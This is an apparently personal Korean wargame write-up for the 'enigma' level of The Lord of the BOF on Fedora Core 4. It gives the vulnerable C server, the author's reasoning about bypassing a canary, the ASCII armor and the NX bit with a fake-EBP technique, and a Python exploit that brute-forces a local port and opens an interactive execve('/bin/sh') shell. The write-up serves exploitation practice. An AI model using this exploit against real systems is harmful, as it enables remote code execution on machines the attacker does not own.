문제 전문
/*
The Lord of the BOF : The Fellowship of the BOF
- enigma
- Remote BOF on Fedora Core 4
- hint : ?
- port : TCP 7777
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int vuln(int canary,char *ptr)
{
char buffer[256];
int *ret;
// stack overflow!!
strcpy(buffer,ptr);
// overflow protected
if(canary != 0x31337)
{
printf("who broke my canary?!");
exit(1);
}
// preventing RTL
ret = &canary - 1;
if((*ret & 0xff000000) == 0)
{
printf("I've an allergy to NULL");
exit(1);
}
// clearing attack buffer
memset(ptr, 0, 1024);
return 0;
}
int main()
{
char buffer[1024];
printf("enigma : The brothers will be glad to have you!\n");
printf("you : ");
fflush(stdout);
// give me a food!
fgets(buffer, 1024, stdin);
// oops~!
vuln(0x31337, buffer);
// bye bye
exit(0);
}
sㅁㅇㅇ아ㅏ 처음 써서 쓰다가 그냥 날ㄹㅏ감
아 어쨌든 main 함수에서 vuln 함수를 호출하고 vuln 함수에서 입력받은 값을 날려버리기 때문에 vuln 함수에서 BOF를 적용한다.
이 때 canary값에 0x00이 들어있고, ptr도 함수 끝나기 전에 초기화 시키므로, FEBP를 사용한다.
여기까지 생각하고, 원하는 값을 어떻게 전해줘야 하나 고민하는데, text 영역은 마음대로 바꿀 수 없고 (애초에 순서상 EBP값을 먼저 정해야해서) 예전 문제에 나왔던 stdin 임시 버퍼도 ASLR을 적용받아서 여기도 아닌 가보다 하고 엄청 찾다가 결국 검색 ㄱㄱ ㅠㅠ
근데 검색했더니 stdin 임시 버퍼를 사용했다길래 거기까지만 읽고 우선 내가 푸는 중
stdin 구하는 방식...
블로그를 쓰게 된 가장 큰 이유... 내가 했던 거 기억을 못함;
남이 쓴 거 보지말고 나중에 또 모르면 내거 보자
계속 하다보면 안 봐도 할 수 있을 거야 ㅠㅠ
우선 stdin 구조체에 대해서 제대로 확인은 나중에 하고 시작 주소에서 +12가 버퍼의 주소이다
+4와 +8에는 입력된 텍스트의 사이즈가 나오는데 두 수가 같고 256 (0x100)이 넘어가면 그 때부터 계산을 어떻게 하는 지 모르겠다. 까지가 이전 문제에서 알게 된 내용.
우선 gdb에서 계속 실행을 반복해본 결과 해당 버퍼의 주소가 앞에 0xb7 고정 맨 뒤에 000 고정으로 가운데 3개만 바뀐다. 그나마도 최상위 비트는 f랑 e만 확인되었으니 대충 이미지에 나온 0xbf6c000을 사용하기로 결정.
간단히 execl 함수를 사용하려고 해도 아스키 아머 때문에 0x00이 들어가므로,
strcpy를 이용해서 printf@got를 덮는 방식으로 진행하겠다.
필요한 가젯들
printf@plt : 0x0804840c
printf@got : 0x08049838
strcpy@plt : 0x0804844c
요기까지 하고 PPR 가젯을 찾던 도중 또 막ㅋ힘ㅋ
임시버퍼에 instruction 형태로 입력할까 생각하고 maps확인 결과 당연히 NX 상태라 안ㅋ됨ㅋ
objdump -s와 -d 다 사용해봤지만 못 찾고 다시 검색 ㄱㄱ
ㅎㅎ 삽질 잘 했죠...
데이터 초기화 구간이 ptr을 날리는 거지 stdin 임시버퍼를 날리는 게 아니므로 뒤에다가 그냥 페이로드 담으면 되는 상황...
아 이거 놓친 건 좀 너무 아쉬운데 집가야 될 시간이라 내일 이어서 적음 ㅂㅇ
---------------------------------------------------------------------------------------
우선 집가는 길에 확인한 결과 fgets의 경우 \n을 입력의 끝으로 생각하기 때문에 0x00, 0x20등은 들어가도 입력이 끊기지 않는다. 그렇기 때문에 아스키 아머도 페이로드 작성에 크게 무리가 없다. 하지만 strcpy는 또 0x00으로 스트링을 끊는다. 그 부분을 유의해야 한다.
페이로드 구성 : 260(dummy) + FEBP(stdin + 268) + return address (leave_ret godget) + stack canary ( 0x31337) + 실행 함수 주소(execve 씀) + 4(dummy) + /bin/sh의 주소 + null_ptr_ptr + null_ptr_ptr + null_ptr + null
from socket import *
from struct import pack
import time
p = lambda x : pack('<L', x)
canary = 0x31337
fake_ebp = 0xb7f5e000 + 260 + 4*2
execve = 0x832abc
str_sh = 0x8bd987
leave_ret = 0x804858e
size_dummy = 260
null = 0x00000000
null_ptr = fake_ebp+4*7
null_ptr_ptr = fake_ebp+4*6
payload = "A"*size_dummy
payload += p(fake_ebp) #ebp
payload += p(leave_ret) #ret
payload += p(canary) #canary
payload += p(execve) #execve
payload += "AAAA" #dummy
payload += p(str_sh) #argu1
payload += p(null_ptr_ptr) #argu2 (null)
payload += p(null_ptr_ptr) #argu3 (null)
payload += p(null_ptr)
payload += p(null)
payload += '\n'
i = 0
while True:
print i
i = i+1
s=socket(AF_INET, SOCK_STREAM)
s.connect(('127.0.0.1', 7777))
s.recv(1024)
s.send(payload)
time.sleep(0.1)
s.send('id\n')
tmp = s.recv(1024)
if tmp != '' :
while True:
print 'good'
send = (raw_input('$ '))
s.send(send + '\n')
print s.recv(1024)
s.close()
우선 실행 가능한 영역은 공유 라이브러리 영역. 근데 거기는 아스키 아머 때문에, 카나리 전에 들어갈 수가 없음 (strcpy에 걸림) 그래서 카나리 전에는 텍스트나 스택 이런 곳이 들어가야 되기 때문에 뒷 부분까지 이용 가능하게 하려고 FEBP를 사용함
FEBP를 사용해서 내가 쉘코드를 올릴 수 있는 공간인 stdin 임시 버퍼를 이용하려면 mprotect 사용 필수, 인자값은 시작 주소, 권한 바꿀 길이, 권한을 숫자로 지정 (chmod와 동일) 이 3가지, 그래서 stdin 임시 버퍼 주소, 대략 260 이상, 7 이런 식이 되어야 함
아니면 위의 페이로드처럼 execve등의 실행 함수를 사용할 수 있고, 인자값이 char * []로 2차원 배열이기 때문에, null_ptr_ptr을 쓴 거고, null값을 굳이 찾지 않고 입력하였으므로 null_ptr값도 만들어줘서 연결 역할 해준 거로 보면 됨
'FC' 카테고리의 다른 글
FC10 balog (0) | 2019.04.09 |
---|---|
FC10 titan (0) | 2019.04.08 |
FC4 enigma (0) | 2019.04.08 |